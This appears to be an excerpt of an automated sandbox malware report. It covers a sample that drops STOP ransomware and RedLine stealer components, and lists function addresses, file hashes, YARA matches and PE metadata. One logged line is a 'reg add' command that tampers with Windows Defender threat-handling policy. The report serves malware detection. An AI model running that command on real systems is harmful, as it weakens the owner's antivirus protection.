Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F550C7	11_2_68F550C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F160A0	11_2_68F160A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F2F070	11_2_68F2F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F08850	11_2_68F08850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0D850	11_2_68F0D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F2B820	11_2_68F2B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F34820	11_2_68F34820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF7810	11_2_68EF7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F1D9B0	11_2_68F1D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEC9A0	11_2_68EEC9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F25190	11_2_68F25190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F42990	11_2_68F42990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F3B970	11_2_68F3B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F5B170	11_2_68F5B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EFD960	11_2_68EFD960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0A940	11_2_68F0A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F01AF0	11_2_68F01AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F2E2F0	11_2_68F2E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F28AC0	11_2_68F28AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F52AB0	11_2_68F52AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EE22A0	11_2_68EE22A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F14AA0	11_2_68F14AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EFCAB0	11_2_68EFCAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F5BA90	11_2_68F5BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F29A60	11_2_68F29A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F553C8	11_2_68F553C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEF380	11_2_68EEF380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EFC370	11_2_68EFC370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EE5340	11_2_68EE5340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F2D320	11_2_68F2D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F26CF0	11_2_68F26CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EED4E0	11_2_68EED4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0D4D0	11_2_68F0D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF64C0	11_2_68EF64C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F434A0	11_2_68F434A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F4C4A0	11_2_68F4C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF6C80	11_2_68EF6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F5545C	11_2_68F5545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF5440	11_2_68EF5440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F5542B	11_2_68F5542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F25C10	11_2_68F25C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F32C10	11_2_68F32C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F5AC00	11_2_68F5AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F485F0	11_2_68F485F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F20DD0	11_2_68F20DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F0ED10	11_2_68F0ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F10512	11_2_68F10512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EFFD00	11_2_68EFFD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F576E3	11_2_68F576E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEBEF0	11_2_68EEBEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EFFEF0	11_2_68EFFEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F44EA0	11_2_68F44EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F05E90	11_2_68F05E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F4E680	11_2_68F4E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F56E63	11_2_68F56E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEC670	11_2_68EEC670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F09E50	11_2_68F09E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F23E50	11_2_68F23E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F04640	11_2_68F04640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F32E4E	11_2_68F32E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F49E30	11_2_68F49E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F27E10	11_2_68F27E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F35600	11_2_68F35600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F16FF0	11_2_68F16FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EEDFE0	11_2_68EEDFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F377A0	11_2_68F377A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F27710	11_2_68F27710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF9F00	11_2_68EF9F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690209A0	11_2_690209A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6904A9A0	11_2_6904A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690509B0	11_2_690509B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FE0820	11_2_68FE0820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690AC9E0	11_2_690AC9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FC49F0	11_2_68FC49F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6901A820	11_2_6901A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69064840	11_2_69064840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FC8960	11_2_68FC8960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690968E0	11_2_690968E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FE6900	11_2_68FE6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69030BA0	11_2_69030BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69096BE0	11_2_69096BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6903EA00	11_2_6903EA00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69048A30	11_2_69048A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6900CA70	11_2_6900CA70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6900EA80	11_2_6900EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FEECD0	11_2_68FEECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69118D20	11_2_69118D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F8ECC0	11_2_68F8ECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690BAD50	11_2_690BAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6905ED70	11_2_6905ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69026D90	11_2_69026D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F9AC60	11_2_68F9AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6911CDC0	11_2_6911CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69056C00	11_2_69056C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6906AC30	11_2_6906AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F94DB0	11_2_68F94DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D0F20	11_2_690D0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F9AEC0	11_2_68F9AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69052F70	11_2_69052F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D8FB0	11_2_690D8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6906EFF0	11_2_6906EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F90FE0	11_2_68F90FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69070E20	11_2_69070E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F9EFB0	11_2_68F9EFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6902EE70	11_2_6902EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69016E90	11_2_69016E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FFEF40	11_2_68FFEF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69030EC0	11_2_69030EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F96F10	11_2_68F96F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69006130	11_2_69006130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69074130	11_2_69074130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FA00B0	11_2_68FA00B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F88090	11_2_68F88090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FDE070	11_2_68FDE070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6905C000	11_2_6905C000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69058010	11_2_69058010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F901E0	11_2_68F901E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6906C0B0	11_2_6906C0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF8140	11_2_68FF8140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69002320	11_2_69002320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690AC360	11_2_690AC360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69026370	11_2_69026370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D2370	11_2_690D2370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6905A210	11_2_6905A210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FE43E0	11_2_68FE43E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69068220	11_2_69068220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FEE3B0	11_2_68FEE3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69028250	11_2_69028250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FC23A0	11_2_68FC23A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69018260	11_2_69018260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F92370	11_2_68F92370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690622A0	11_2_690622A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6905E2B0	11_2_6905E2B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F98340	11_2_68F98340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_691162C0	11_2_691162C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FD64D0	11_2_68FD64D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69094540	11_2_69094540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690D8550	11_2_690D8550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69030570	11_2_69030570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FA8460	11_2_68FA8460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF4420	11_2_68FF4420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6905A5E0	11_2_6905A5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6901E5F0	11_2_6901E5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6901A430	11_2_6901A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F845B0	11_2_68F845B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690BA480	11_2_690BA480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FF2560	11_2_68FF2560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FE8540	11_2_68FE8540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6902A4D0	11_2_6902A4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69010700	11_2_69010700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FEE6E0	11_2_68FEE6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FB46D0	11_2_68FB46D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FEC650	11_2_68FEC650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FBA7D0	11_2_68FBA7D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6902E6E0	11_2_6902E6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690DF900	11_2_690DF900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F9D8E0	11_2_68F9D8E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68FC38E0	11_2_68FC38E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69045920	11_2_69045920

Source: Joe Sandbox View	Dropped File: C:\ProgramData\CBFCFBFBFB.exe F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: String function: 004029A6 appears 44 times
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: String function: 00403A9C appears 33 times
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: String function: 00413954 appears 177 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 68FB9B10 appears 51 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 68F294D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 68F1CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 68FB3620 appears 56 times
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: String function: 02110160 appears 49 times
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: String function: 02108EC0 appears 57 times

Source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF61DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameotsoft.exe$ vs gHPYUEh253.exe
Source: gHPYUEh253.exe, 00000000.00000003.1746513626.0000013EF519A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs gHPYUEh253.exe
Source: gHPYUEh253.exe, 00000000.00000003.1748267785.0000013EF51EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUndetectable.exe0 vs gHPYUEh253.exe
Source: gHPYUEh253.exe, 00000000.00000003.1749198542.0000013EF528C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUndetectable.exe0 vs gHPYUEh253.exe
Source: gHPYUEh253.exe, 00000000.00000003.1772504097.0000013EF517B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUndetectable.exe0 vs gHPYUEh253.exe

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 12.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 2.2.E7ZgIS5gIvcD0qYA4MsN8rsr.exe.4365570.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.8G7TUoanzGVBa0kCulY_TPPa.exe.20e15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788, type: MEMORYSTR	Matched rule: Molerats_Jul17_Sample_5 date = 2017-07-07, hash1 = ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a, author = Florian Roth, description = Detects Molerats sample - July 2017, reference = https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: 8G7TUoanzGVBa0kCulY_TPPa.exe PID: 7860, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: 66d0cd9a65b5d_vqwergf[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66d0cd9755a01_sbwd[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66c1c5838f95f_file1808[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
